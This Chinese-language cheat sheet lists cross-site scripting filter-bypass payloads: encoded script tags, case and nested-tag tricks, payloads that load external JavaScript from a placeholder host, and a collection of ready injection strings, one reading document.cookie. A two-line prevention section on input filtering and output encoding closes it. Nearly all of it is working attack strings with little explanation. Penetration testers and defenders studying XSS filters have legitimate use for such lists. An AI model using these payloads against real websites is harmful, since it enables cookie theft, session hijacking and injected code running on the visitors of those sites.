0x00 绕过
1、编码绕过:
URL全编码: <script> -> %3c%73%63%72%69%70%74%3e
URL二次编码: <script> -> %253Cscript%253E
HTML实体编码:<img src=“” onerror=alert(1)>
unicode编码: \u003cimg src="" onerror=alert(1)\u003e
base16编码: <img src="" onerror=alert\x281\x29>
String.fromCharCode替换所有字符:String.fromCharCode(60,105,109....)
2、变形绕过:
1 2 3
| 大小写混合: <ScRiPt>aLERt(1)<scRiPT>
过滤一次绕过: <scr<script>ipt>alealertrt(1)<scr<script>ipt>
|
3、加载外部js绕过:
1 2 3 4
| " οnlοad="with(document)body.appendChild(createElement('script')).src='http://www.test.com/test.js'"
<script>src="http://www.test.com/test.js"</script>
|
4、行内样式绕过:
1
| <div style="color:expression(alert(1))">
|
5、不用JS达到XSS攻击:
1
| <meta http-equiv="refresh" content="1;url=http://www.bing.com/">//页面1秒后刷新并跳转到指定URL
|
6、其他整理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| </tExtArEa>'"><sCRiPt sRC=XSSURL></sCrIpT>
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>
1"><details open ontoggle=top['alert'](1)>
<script src=data:,alert(document.cookie);//'
' onfocus=alert(1) autofocus //
"><svg/onload=alert()>
"><img/src=x onerror=alert(1)>
"-prompt(1)-"
绕过onXXXX <object onbeforescriptexecute=confirm(0)>
|
0x01 防范
限制输入、转义输出
对用户的输入数据进行关键字过滤,如过滤掉 < 、 > 、 ‘ 、 “ 等危险字符
对一切输出的数据进行HTML实体编码对一切输出的数据进行HTML实体编码